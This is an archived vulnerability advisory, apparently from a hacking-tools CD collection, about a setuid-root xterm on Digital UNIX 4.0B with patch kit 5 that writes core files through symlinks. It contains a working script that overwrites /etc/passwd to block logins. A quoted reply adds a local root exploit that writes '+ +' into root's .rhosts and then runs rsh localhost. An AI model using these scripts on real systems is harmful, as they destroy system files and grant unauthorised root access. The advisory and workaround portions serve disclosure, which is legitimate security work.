home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / dgux_xterm.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  2.4 KB  |  77 lines

  1.  
  2. Version Affected:  Digital UNIX 4.0B *with* patch kit 5
  3.                    Unpatched 4.0B is not vunerable to this particular
  4.                    problem, but it is to others.
  5.  
  6. Impact:  Local users may overwrite system files, and possibly obtain root.
  7.  
  8. Problem:
  9.  
  10.         Patch kit 5 included a replacement xterm because the old one had a
  11. bug, too.  They replaced it with another that had a bigger problem.  You
  12. can cause a segmentation fault in xterm simply by setting your DISPLAY
  13. variable to a display that you aren't allowed to connect to or one that
  14. doesn't exist.  Start xterm, and you get a core file.
  15.  
  16.         Xterm is installed setuid root.  I'm not 100% sure what happens,
  17. since DEC doesn't release the source for patches.  It does dump core at
  18. XtOpenApplication(), however.
  19.  
  20.         Even with a buffer overflow, I've never seen anyone exploit on one
  21. DU. If anyone has done so sucessfully, plese email me.  Despite that, a
  22. person with basic knowledge of unix could easily do something like:
  23.  
  24. #/!bin/csh
  25. cd /tmp
  26. ln -s /etc/passwd /tmp/core
  27. setenv DISPLAY abcdefghi
  28. /usr/bin/X11/xterm
  29.  
  30.         The contents of /etc/passwd becomes xterm's core, preventing
  31. further logins.  Obviously you could do things without an immediate impact
  32. such as ln -s /vmunix /tmp/core.
  33.  
  34. Workaround:
  35.  
  36.         Needless to say, change permissions on xterm, have the users run
  37. dxterm, its better anyway.
  38.  
  39.  
  40.                           Tom Leffingwell
  41. ----------------------------------------------------------------------------
  42.  
  43.  
  44. >        Even with a buffer overflow, I've never seen anyone exploit on one
  45. >DU. If anyone has done so sucessfully, plese email me.  Despite that, a
  46. >person with basic knowledge of unix could easily do something like:
  47. >
  48. >#/!bin/csh
  49. >cd /tmp
  50. >ln -s /etc/passwd /tmp/core
  51. >setenv DISPLAY abcdefghi
  52. >/usr/bin/X11/xterm
  53. >
  54. >        The contents of /etc/passwd becomes xterm's core, preventing
  55. >further logins.  Obviously you could do things without an immediate impact
  56. >such as ln -s /vmunix /tmp/core.
  57.  
  58. or...if the system you're on is actually running r-services, you could do
  59.  
  60. #!/bin/sh
  61. DISPLAY="
  62. + +
  63. "
  64. export DISPLAY
  65. cd /tmp
  66. ln -s /.rhosts /tmp/core
  67. /usr/bin/X11/xterm
  68. rsh localhost
  69.  
  70. which sets the DISPLAY variable to an "admit all from all" line and
  71. the core dump will go into root's .rhosts file.  then all that remains
  72. is the rsh localhost and you're all set!
  73.  
  74. considerably easier than a buffer overflow exploit...
  75.  
  76. andrew@echonyc.com (TheMan)
  77.